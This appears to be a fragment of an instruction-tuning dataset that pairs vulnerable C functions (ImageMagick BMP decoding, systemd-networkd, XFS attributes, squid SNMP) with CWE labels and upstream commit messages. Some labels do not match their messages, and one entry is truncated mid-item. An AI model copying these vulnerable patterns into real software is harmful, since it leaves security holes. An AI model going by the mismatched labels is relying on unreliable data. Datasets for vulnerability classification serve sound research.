LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: BI_JPEG\");\n break;\n }\n default:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: UNKNOWN (%u)\",bmp_info.compression);\n }\n }\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Number of colors: %u\",bmp_info.number_colors);\n }\n bmp_info.red_mask=ReadBlobLSBLong(image);\n bmp_info.green_mask=ReadBlobLSBLong(image);\n bmp_info.blue_mask=ReadBlobLSBLong(image);\n if (bmp_info.size > 40)\n {\n double\n gamma;\n\n /*\n Read color management information.\n */\n bmp_info.alpha_mask=ReadBlobLSBLong(image);\n bmp_info.colorspace=ReadBlobLSBSignedLong(image);\n /*\n Decode 2^30 fixed point formatted CIE primaries.\n */\n# define BMP_DENOM ((double) 0x40000000)\n bmp_info.red_primary.x=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.red_primary.y=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.red_primary.z=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.green_primary.x=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.green_primary.y=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.green_primary.z=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.blue_primary.x=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.blue_primary.y=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.blue_primary.z=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n\n gamma=bmp_info.red_primary.x+bmp_info.red_primary.y+\n bmp_info.red_primary.z;\n gamma=PerceptibleReciprocal(gamma);\n bmp_info.red_primary.x*=gamma;\n bmp_info.red_primary.y*=gamma;\n image->chromaticity.red_primary.x=bmp_info.red_primary.x;\n image->chromaticity.red_primary.y=bmp_info.red_primary.y;\n\n gamma=bmp_info.green_primary.x+bmp_info.green_primary.y+\n bmp_info.green_primary.z;\n gamma=PerceptibleReciprocal(gamma);\n bmp_info.green_primary.x*=gamma;\n bmp_info.green_primary.y*=gamma;\n image->chromaticity.green_primary.x=bmp_info.green_primary.x;\n image->chromaticity.green_primary.y=bmp_info.green_primary.y;\n\n gamma=bmp_info.blue_primary.x+bmp_info.blue_primary.y+\n bmp_info.blue_primary.z;\n gamma=PerceptibleReciprocal(gamma);\n bmp_info.blue_primary.x*=gamma;\n bmp_info.blue_primary.y*=gamma;\n image->chromaticity.blue_primary.x=bmp_info.blue_primary.x;\n image->chromaticity.blue_primary.y=bmp_info.blue_primary.y;\n\n /*\n Decode 16^16 fixed point formatted gamma_scales.\n */\n bmp_info.gamma_scale.x=(double) ReadBlobLSBLong(image)/0x10000;\n bmp_info.gamma_scale.y=(double) ReadBlobLSBLong(image)/0x10000;\n bmp_info.gamma_scale.z=(double) ReadBlobLSBLong(image)/0x10000;\n /*\n Compute a single gamma from the BMP 3-channel gamma.\n */\n image->gamma=(bmp_info.gamma_scale.x+bmp_info.gamma_scale.y+\n bmp_info.gamma_scale.z)/3.0;\n }\n else\n (void) CopyMagickString(image->magick,\"BMP3\",MagickPathExtent);\n\n if (bmp_info.size > 108)\n {\n size_t\n intent;\n\n /*\n Read BMP Version 5 color management information.\n */\n intent=ReadBlobLSBLong(image);\n switch ((int) intent)\n {\n case LCS_GM_BUSINESS:\n {\n image->rendering_intent=SaturationIntent;\n break;\n }\n case LCS_GM_GRAPHICS:\n {\n image->rendering_intent=RelativeIntent;\n break;\n }\n case LCS_GM_IMAGES:\n {\n image->rendering_intent=PerceptualIntent;\n break;\n }\n case LCS_GM_ABS_COLORIMETRIC:\n {\n image->rendering_intent=AbsoluteIntent;\n break;\n }\n }\n (void) ReadBlobLSBLong(image); /* Profile data */\n (void) ReadBlobLSBLong(image); /* Profile size */\n (void) ReadBlobLSBLong(image); /* Reserved byte */\n }\n }\n if ((MagickSizeType) bmp_info.file_size > GetBlobSize(image))\n (void) ThrowMagickException(exception,GetMagickModule(),CorruptImageError,\n \"LengthAndFilesizeDoNotMatch\",\"`%s'\",image->filename);\n else\n if ((MagickSizeType) bmp_info.file_size < GetBlobSize(image))\n (void) ThrowMagickException(exception,GetMagickModule(),\n CorruptImageWarning,\"LengthAndFilesizeDoNotMatch\",\"`%s'\",\n image->filename);\n if (bmp_info.width <= 0)\n ThrowReaderException(CorruptImageError,\"NegativeOrZeroImageSize\");\n if (bmp_info.height == 0)\n ThrowReaderException(CorruptImageError,\"NegativeOrZeroImageSize\");\n if (bmp_info.planes != 1)\n ThrowReaderException(CorruptImageError,\"StaticPlanesValueNotEqualToOne\");\n if ((bmp_info.bits_per_pixel != 1) && (bmp_info.bits_per_pixel != 4) &&\n (bmp_info.bits_per_pixel != 8) && (bmp_info.bits_per_pixel != 16) &&\n (bmp_info.bits_per_pixel != 24) && (bmp_info.bits_per_pixel != 32))\n ThrowReaderException(CorruptImageError,\"UnrecognizedBitsPerPixel\");\n if (bmp_info.bits_per_pixel < 16 &&\n bmp_info.number_colors > (1U << bmp_info.bits_per_pixel))\n ThrowReaderException(CorruptImageError,\"UnrecognizedNumberOfColors\");\n if ((bmp_info.compression == 1) && (bmp_info.bits_per_pixel != 8))\n ThrowReaderException(CorruptImageError,\"UnrecognizedBitsPerPixel\");\n if ((bmp_info.compression == 2) && (bmp_info.bits_per_pixel != 4))\n ThrowReaderException(CorruptImageError,\"UnrecognizedBitsPerPixel\");\n if ((bmp_info.compression == 3) && (bmp_info.bits_per_pixel < 16))\n ThrowReaderException(CorruptImageError,\"UnrecognizedBitsPerPixel\");\n switch (bmp_info.compression)\n {\n case BI_RGB:\n image->compression=NoCompression;\n break;\n case BI_RLE8:\n case BI_RLE4:\n image->compression=RLECompression;\n break;\n case BI_BITFIELDS:\n break;\n case BI_JPEG:\n ThrowReaderException(CoderError,\"JPEGCompressNotSupported\");\n case BI_PNG:\n ThrowReaderException(CoderError,\"PNGCompressNotSupported\");\n default:\n ThrowReaderException(CorruptImageError,\"UnrecognizedImageCompression\");\n }\n image->columns=(size_t) MagickAbsoluteValue(bmp_info.width);\n image->rows=(size_t) MagickAbsoluteValue(bmp_info.height);\n image->depth=bmp_info.bits_per_pixel <= 8 ? bmp_info.bits_per_pixel : 8;\n image->alpha_trait=((bmp_info.alpha_mask != 0) &&\n (bmp_info.compression == BI_BITFIELDS)) ? BlendPixelTrait :\n UndefinedPixelTrait;\n if (bmp_info.bits_per_pixel < 16)\n {\n size_t\n one;\n\n image->storage_class=PseudoClass;\n image->colors=bmp_info.number_colors;\n one=1;\n if (image->colors == 0)\n image->colors=one << bmp_info.bits_per_pixel;\n }\n image->resolution.x=(double) bmp_info.x_pixels/100.0;\n image->resolution.y=(double) bmp_info.y_pixels/100.0;\n image->units=PixelsPerCentimeterResolution;\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n status=SetImageExtent(image,image->columns,image->rows,exception);\n if (status == MagickFalse)\n return(DestroyImageList(image));\n if (image->storage_class == PseudoClass)\n {\n unsigned char\n *bmp_colormap;\n\n size_t\n packet_size;\n\n /*\n Read BMP raster colormap.\n */\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Reading colormap of %.20g colors\",(double) image->colors);\n if (AcquireImageColormap(image,image->colors,exception) == MagickFalse)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n bmp_colormap=(unsigned char *) AcquireQuantumMemory((size_t)\n image->colors,4*sizeof(*bmp_colormap));\n if (bmp_colormap == (unsigned char *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n if ((bmp_info.size == 12) || (bmp_info.size == 64))\n packet_size=3;\n else\n packet_size=4;\n offset=SeekBlob(image,start_position+14+bmp_info.size,SEEK_SET);\n if (offset < 0)\n {\n bmp_colormap=(unsigned char *) RelinquishMagickMemory(bmp_colormap);\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n count=ReadBlob(image,packet_size*image->colors,bmp_colormap);\n if (count != (ssize_t) (packet_size*image->colors))\n {\n bmp_colormap=(unsigned char *) RelinquishMagickMemory(bmp_colormap);\n ThrowReaderException(CorruptImageError,\n \"InsufficientImageDataInFile\");\n }\n p=bmp_colormap;\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n image->colormap[i].blue=(MagickRealType) ScaleCharToQuantum(*p++);\n image->colormap[i].green=(MagickRealType) ScaleCharToQuantum(*p++);\n image->colormap[i].red=(MagickRealType) ScaleCharToQuantum(*p++);\n if (packet_size == 4)\n p++;\n }\n bmp_colormap=(unsigned char *) RelinquishMagickMemory(bmp_colormap);\n }\n /*\n Read image data.\n */\n if (bmp_info.offset_bits == offset_bits)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n offset_bits=bmp_info.offset_bits;\n offset=SeekBlob(image,start_position+bmp_info.offset_bits,SEEK_SET);\n if (offset < 0)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n if (bmp_info.compression == BI_RLE4)\n bmp_info.bits_per_pixel<<=1;\n bytes_per_line=4*((image->columns*bmp_info.bits_per_pixel+31)/32);\n length=(size_t) bytes_per_line*image->rows;\n if (((MagickSizeType) length/8) > GetBlobSize(image))\n ThrowReaderException(CorruptImageError,\"InsufficientImageDataInFile\");\n if ((bmp_info.compression == BI_RGB) ||\n (bmp_info.compression == BI_BITFIELDS))\n {\n pixel_info=AcquireVirtualMemory(image->rows,\n MagickMax(bytes_per_line,image->columns+256UL)*sizeof(*pixels));\n if (pixel_info == (MemoryInfo *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Reading pixels (%.20g bytes)\",(double) length);\n count=ReadBlob(image,length,pixels);\n if (count != (ssize_t) length)\n {\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\n \"InsufficientImageDataInFile\");\n }\n }\n else\n {\n /*\n Convert run-length encoded raster pixels.\n */\n pixel_info=AcquireVirtualMemory(image->rows,\n MagickMax(bytes_per_line,image->columns+256UL)*sizeof(*pixels));\n if (pixel_info == (MemoryInfo *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);\n status=DecodeImage(image,bmp_info.compression,pixels,\n image->columns*image->rows);\n if (status == MagickFalse)\n {\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\n \"UnableToRunlengthDecodeImage\");\n }\n }\n /*\n Convert BMP raster image to pixel packets.\n */\n if (bmp_info.compression == BI_RGB)\n {\n /*\n We should ignore the alpha value in BMP3 files but there have been\n reports about 32 bit files with alpha. We do a quick check to see if\n the alpha channel contains a value that is not zero (default value).\n If we find a non zero value we asume the program that wrote the file\n wants to use the alpha channel.\n */\n if ((image->alpha_trait == UndefinedPixelTrait) && (bmp_info.size == 40) &&\n (bmp_info.bits_per_pixel == 32))\n {\n bytes_per_line=4*(image->columns);\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n p=pixels+(image->rows-y-1)*bytes_per_line;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (*(p+3) != 0)\n {\n image->alpha_trait=BlendPixelTrait;\n y=-1;\n break;\n }\n p+=4;\n }\n }\n }\n bmp_info.alpha_mask=image->alpha_trait != UndefinedPixelTrait ?\n 0xff000000U : 0U;\n bmp_info.red_mask=0x00ff0000U;\n bmp_info.green_mask=0x0000ff00U;\n bmp_info.blue_mask=0x000000ffU;\n if (bmp_info.bits_per_pixel == 16)\n {\n /*\n RGB555.\n */\n bmp_info.red_mask=0x00007c00U;\n bmp_info.green_mask=0x000003e0U;\n bmp_info.blue_mask=0x0000001fU;\n }\n }\n (void) memset(&shift,0,sizeof(shift));\n (void) memset(&quantum_bits,0,sizeof(quantum_bits));\n if ((bmp_info.bits_per_pixel == 16) || (bmp_info.bits_per_pixel == 32))\n {\n register unsigned int\n sample;\n\n /*\n Get shift and quantum bits info from bitfield masks.\n */\n if (bmp_info.red_mask != 0)\n while (((bmp_info.red_mask << shift.red) & 0x80000000UL) == 0)\n {\n shift.red++;\n if (shift.red >= 32U)\n break;\n }\n if (bmp_info.green_mask != 0)\n while (((bmp_info.green_mask << shift.green) & 0x80000000UL) == 0)\n {\n shift.green++;\n if (shift.green >= 32U)\n break;\n }\n if (bmp_info.blue_mask != 0)\n while (((bmp_info.blue_mask << shift.blue) & 0x80000000UL) == 0)\n {\n shift.blue++;\n if (shift.blue >= 32U)\n break;\n }\n if (bmp_info.alpha_mask != 0)\n while (((bmp_info.alpha_mask << shift.alpha) & 0x80000000UL) == 0)\n {\n shift.alpha++;\n if (shift.alpha >= 32U)\n break;\n }\n sample=shift.red;\n while (((bmp_info.red_mask << sample) & 0x80000000UL) != 0)\n {\n sample++;\n if (sample >= 32U)\n break;\n }\n quantum_bits.red=(MagickRealType) (sample-shift.red);\n sample=shift.green;\n while (((bmp_info.green_mask << sample) & 0x80000000UL) != 0)\n {\n sample++;\n if (sample >= 32U)\n break;\n }\n quantum_bits.green=(MagickRealType) (sample-shift.green);\n sample=shift.blue;\n while (((bmp_info.blue_mask << sample) & 0x80000000UL) != 0)\n {\n sample++;\n if (sample >= 32U)\n break;\n }\n quantum_bits.blue=(MagickRealType) (sample-shift.blue);\n sample=shift.alpha;\n while (((bmp_info.alpha_mask << sample) & 0x80000000UL) != 0)\n {\n sample++;\n if (sample >= 32U)\n break;\n }\n quantum_bits.alpha=(MagickRealType) (sample-shift.alpha);\n }\n switch (bmp_info.bits_per_pixel)\n {\n case 1:\n {\n /*\n Convert bitmap scanline.\n */\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n p=pixels+(image->rows-y-1)*bytes_per_line;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < ((ssize_t) image->columns-7); x+=8)\n {\n for (bit=0; bit < 8; bit++)\n {\n index=(Quantum) (((*p) & (0x80 >> bit)) != 0 ? 0x01 : 0x00);\n SetPixelIndex(image,index,q);\n q+=GetPixelChannels(image);\n }\n p++;\n }\n if ((image->columns % 8) != 0)\n {\n for (bit=0; bit < (image->columns % 8); bit++)\n {\n index=(Quantum) (((*p) & (0x80 >> bit)) != 0 ? 0x01 : 0x00);\n SetPixelIndex(image,index,q);\n q+=GetPixelChannels(image);\n }\n p++;\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n (image->rows-y),image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n (void) SyncImage(image,exception);\n break;\n }\n case 4:\n {\n /*\n Convert PseudoColor scanline.\n */\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n p=pixels+(image->rows-y-1)*bytes_per_line;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < ((ssize_t) image->columns-1); x+=2)\n {\n ValidateColormapValue(image,(ssize_t) ((*p >> 4) & 0x0f),&index,\n exception);\n SetPixelIndex(image,index,q);\n q+=GetPixelChannels(image);\n ValidateColormapValue(image,(ssize_t) (*p & 0x0f),&index,exception);\n SetPixelIndex(image,index,q);\n q+=GetPixelChannels(image);\n p++;\n }\n if ((image->columns % 2) != 0)\n {\n ValidateColormapValue(image,(ssize_t) ((*p >> 4) & 0xf),&index,\n exception);\n SetPixelIndex(image,index,q);\n q+=GetPixelChannels(image);\n p++;\n x++;\n }\n if (x < (ssize_t) image->columns)\n break;\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n (image->rows-y),image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n (void) SyncImage(image,exception);\n break;\n }\n case 8:\n {\n /*\n Convert PseudoColor scanline.\n */\n if ((bmp_info.compression == BI_RLE8) ||\n (bmp_info.compression == BI_RLE4))\n bytes_per_line=image->columns;\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n p=pixels+(image->rows-y-1)*bytes_per_line;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=(ssize_t) image->columns; x != 0; --x)\n {\n ValidateColormapValue(image,(ssize_t) *p++,&index,exception);\n SetPixelIndex(image,index,q);\n q+=GetPixelChannels(image);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n offset=(MagickOffsetType) (image->rows-y-1);\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n (image->rows-y),image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n (void) SyncImage(image,exception);\n break;\n }\n case 16:\n {\n unsigned int\n alpha,\n pixel;\n\n /*\n Convert bitfield encoded 16-bit PseudoColor scanline.\n */\n if ((bmp_info.compression != BI_RGB) &&\n (bmp_info.compression != BI_BITFIELDS))\n {\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\n \"UnrecognizedImageCompression\");\n }\n bytes_per_line=2*(image->columns+image->columns % 2);\n image->storage_class=DirectClass;\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n p=pixels+(image->rows-y-1)*bytes_per_line;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n pixel=(unsigned int) (*p++);\n pixel|=(*p++) << 8;\n red=((pixel & bmp_info.red_mask) << shift.red) >> 16;\n if (quantum_bits.red == 5)\n red|=((red & 0xe000) >> 5);\n if (quantum_bits.red <= 8)\n red|=((red & 0xff00) >> 8);\n green=((pixel & bmp_info.green_mask) << shift.green) >> 16;\n if (quantum_bits.green == 5)\n green|=((green & 0xe000) >> 5);\n if (quantum_bits.green == 6)\n green|=((green & 0xc000) >> 6);\n if (quantum_bits.green <= 8)\n green|=((green & 0xff00) >> 8);\n blue=((pixel & bmp_info.blue_mask) << shift.blue) >> 16;\n if (quantum_bits.blue == 5)\n blue|=((blue & 0xe000) >> 5);\n if (quantum_bits.blue <= 8)\n blue|=((blue & 0xff00) >> 8);\n SetPixelRed(image,ScaleShortToQuantum((unsigned short) red),q);\n SetPixelGreen(image,ScaleShortToQuantum((unsigned short) green),q);\n SetPixelBlue(image,ScaleShortToQuantum((unsigned short) blue),q);\n SetPixelAlpha(image,OpaqueAlpha,q);\n if (image->alpha_trait != UndefinedPixelTrait)\n {\n alpha=((pixel & bmp_info.alpha_mask) << shift.alpha) >> 16;\n if (quantum_bits.alpha <= 8)\n alpha|=((alpha & 0xff00) >> 8);\n SetPixelAlpha(image,ScaleShortToQuantum(\n (unsigned short) alpha),q);\n }\n q+=GetPixelChannels(image);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n offset=(MagickOffsetType) (image->rows-y-1);\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n (image->rows-y),image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case 24:\n {\n /*\n Convert DirectColor scanline.\n */\n bytes_per_line=4*((image->columns*24+31)/32);\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n p=pixels+(image->rows-y-1)*bytes_per_line;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n SetPixelBlue(image,ScaleCharToQuantum(*p++),q);\n SetPixelGreen(image,ScaleCharToQuantum(*p++),q);\n SetPixelRed(image,ScaleCharToQuantum(*p++),q);\n SetPixelAlpha(image,OpaqueAlpha,q);\n q+=GetPixelChannels(image);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n offset=(MagickOffsetType) (image->rows-y-1);\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n (image->rows-y),image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case 32:\n {\n /*\n Convert bitfield encoded DirectColor scanline.\n */\n if ((bmp_info.compression != BI_RGB) &&\n (bmp_info.compression != BI_BITFIELDS))\n {\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\n \"UnrecognizedImageCompression\");\n }\n bytes_per_line=4*(image->columns);\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n unsigned int\n alpha,\n pixel;\n\n p=pixels+(image->rows-y-1)*bytes_per_line;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n pixel=(unsigned int) (*p++);\n pixel|=((unsigned int) *p++ << 8);\n pixel|=((unsigned int) *p++ << 16);\n pixel|=((unsigned int) *p++ << 24);\n red=((pixel & bmp_info.red_mask) << shift.red) >> 16;\n if (quantum_bits.red == 8)\n red|=(red >> 8);\n green=((pixel & bmp_info.green_mask) << shift.green) >> 16;\n if (quantum_bits.green == 8)\n green|=(green >> 8);\n blue=((pixel & bmp_info.blue_mask) << shift.blue) >> 16;\n if (quantum_bits.blue == 8)\n blue|=(blue >> 8);\n SetPixelRed(image,ScaleShortToQuantum((unsigned short) red),q);\n SetPixelGreen(image,ScaleShortToQuantum((unsigned short) green),q);\n SetPixelBlue(image,ScaleShortToQuantum((unsigned short) blue),q);\n SetPixelAlpha(image,OpaqueAlpha,q);\n if (image->alpha_trait != UndefinedPixelTrait)\n {\n alpha=((pixel & bmp_info.alpha_mask) << shift.alpha) >> 16;\n if (quantum_bits.alpha == 8)\n alpha|=(alpha >> 8);\n SetPixelAlpha(image,ScaleShortToQuantum(\n (unsigned short) alpha),q);\n }\n q+=GetPixelChannels(image);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n offset=(MagickOffsetType) (image->rows-y-1);\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n (image->rows-y),image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n default:\n {\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n }\n pixel_info=RelinquishVirtualMemory(pixel_info);\n if (y > 0)\n break;\n if (EOFBlob(image) != MagickFalse)\n {\n ThrowFileException(exception,CorruptImageError,\"UnexpectedEndOfFile\",\n image->filename);\n break;\n }\n if (bmp_info.height < 0)\n {\n Image\n *flipped_image;\n\n /*\n Correct image orientation.\n */\n flipped_image=FlipImage(image,exception);\n if (flipped_image != (Image *) NULL)\n {\n DuplicateBlob(flipped_image,image);\n ReplaceImageInList(&image, flipped_image);\n image=flipped_image;\n }\n }\n /*\n Proceed to next image.\n */\n if (image_info->number_scenes != 0)\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n *magick='\\0';\n if (bmp_info.ba_offset != 0)\n {\n offset=SeekBlob(image,(MagickOffsetType) bmp_info.ba_offset,SEEK_SET);\n if (offset < 0)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n count=ReadBlob(image,2,magick);\n if ((count == 2) && (IsBMP(magick,2) != MagickFalse))\n {\n /*\n Acquire next image structure.\n */\n AcquireNextImage(image_info,image,exception);\n if (GetNextImageInList(image) == (Image *) NULL)\n {\n status=MagickFalse;\n return((Image *) NULL);\n }\n image=SyncNextImageInList(image);\n status=SetImageProgress(image,LoadImagesTag,TellBlob(image),\n GetBlobSize(image));\n if (status == MagickFalse)\n break;\n }\n } while (IsBMP(magick,2) != MagickFalse);\n (void) CloseBlob(image);\n if (status == MagickFalse)\n return(DestroyImageList(image));\n return(GetFirstImageInList(image));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-835'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1337'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int link_acquire_conf(Link *link) {\n int r;\n\n assert(link);\n assert(link->network);\n assert(link->manager);\n assert(link->manager->event);\n\n if (link_ipv4ll_enabled(link)) {\n assert(link->ipv4ll);\n\n log_link_debug(link, \"Acquiring IPv4 link-local address\");\n\n r = sd_ipv4ll_start(link->ipv4ll);\n if (r < 0)\n return log_link_warning_errno(link, r, \"Could not acquire IPv4 link-local address: %m\");\n }\n\n if (link_dhcp4_enabled(link)) {\n assert(link->dhcp_client);\n\n log_link_debug(link, \"Acquiring DHCPv4 lease\");\n\n r = sd_dhcp_client_start(link->dhcp_client);\n if (r < 0)\n return log_link_warning_errno(link, r, \"Could not acquire DHCPv4 lease: %m\");\n }\n\n if (link_dhcp6_enabled(link)) {\n assert(link->ndisc_router_discovery);\n\n log_link_debug(link, \"Discovering IPv6 routers\");\n\n r = sd_ndisc_router_discovery_start(link->ndisc_router_discovery);\n if (r < 0)\n return log_link_warning_errno(link, r, \"Could not start IPv6 Router Discovery: %m\");\n }\n\n if (link_lldp_enabled(link)) {\n assert(link->lldp);\n\n log_link_debug(link, \"Starting LLDP\");\n\n r = sd_lldp_start(link->lldp);\n if (r < 0)\n return log_link_warning_errno(link, r, \"Could not start LLDP: %m\");\n }\n\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-120'], 'message': 'networkd: IPv6 router discovery - follow IPv6AcceptRouterAdvertisemnt=\n\nThe previous behavior:\nWhen DHCPv6 was enabled, router discover was performed first, and then DHCPv6 was\nenabled only if the relevant flags were passed in the Router Advertisement message.\nMoreover, router discovery was performed even if AcceptRouterAdvertisements=false,\nmoreover, even if router advertisements were accepted (by the kernel) the flags\nindicating that DHCPv6 should be performed were ignored.\n\nNew behavior:\nIf RouterAdvertisements are accepted, and either no routers are found, or an\nadvertisement is received indicating DHCPv6 should be performed, the DHCPv6\nclient is started. Moreover, the DHCP option now truly enables the DHCPv6\nclient regardless of router discovery (though it will probably not be\nvery useful to get a lease withotu any routes, this seems the more consistent\napproach).\n\nThe recommended default setting should be to set DHCP=ipv4 and to leave\nIPv6AcceptRouterAdvertisements unset.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: xfs_attr_shortform_addname(xfs_da_args_t *args)\n{\n\tint newsize, forkoff, retval;\n\n\ttrace_xfs_attr_sf_addname(args);\n\n\tretval = xfs_attr_shortform_lookup(args);\n\tif ((args->flags & ATTR_REPLACE) && (retval == -ENOATTR)) {\n\t\treturn retval;\n\t} else if (retval == -EEXIST) {\n\t\tif (args->flags & ATTR_CREATE)\n\t\t\treturn retval;\n\t\tretval = xfs_attr_shortform_remove(args);\n\t\tASSERT(retval == 0);\n\t}\n\n\tif (args->namelen >= XFS_ATTR_SF_ENTSIZE_MAX ||\n\t args->valuelen >= XFS_ATTR_SF_ENTSIZE_MAX)\n\t\treturn -ENOSPC;\n\n\tnewsize = XFS_ATTR_SF_TOTSIZE(args->dp);\n\tnewsize += XFS_ATTR_SF_ENTSIZE_BYNAME(args->namelen, args->valuelen);\n\n\tforkoff = xfs_attr_shortform_bytesfit(args->dp, newsize);\n\tif (!forkoff)\n\t\treturn -ENOSPC;\n\n\txfs_attr_shortform_add(args, forkoff);\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-241', 'CWE-754'], 'message': 'xfs: don't fail when converting shortform attr to long form during ATTR_REPLACE\n\nKanda Motohiro reported that expanding a tiny xattr into a large xattr\nfails on XFS because we remove the tiny xattr from a shortform fork and\nthen try to re-add it after converting the fork to extents format having\nnot removed the ATTR_REPLACE flag. This fails because the attr is no\nlonger present, causing a fs shutdown.\n\nThis is derived from the patch in his bug report, but we really\nshouldn't ignore a nonzero retval from the remove call.\n\nBugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=199119\nReported-by: kanda.motohiro@gmail.com\nReviewed-by: Dave Chinner \nReviewed-by: Christoph Hellwig \nSigned-off-by: Darrick J. Wong '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: std::vector" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: snmpDecodePacket(SnmpRequest * rq)\n{\n struct snmp_pdu *PDU;\n u_char *Community;\n u_char *buf = rq->buf;\n int len = rq->len;\n allow_t allow = ACCESS_DENIED;\n\n if (!Config.accessList.snmp) {\n debugs(49, DBG_IMPORTANT, \"WARNING: snmp_access not configured. agent query DENIED from : \" << rq->from);\n return;\n }\n\n debugs(49, 5, HERE << \"Called.\");\n PDU = snmp_pdu_create(0);\n /* Allways answer on SNMPv1 */\n rq->session.Version = SNMP_VERSION_1;\n Community = snmp_parse(&rq->session, PDU, buf, len);\n\n /* Check if 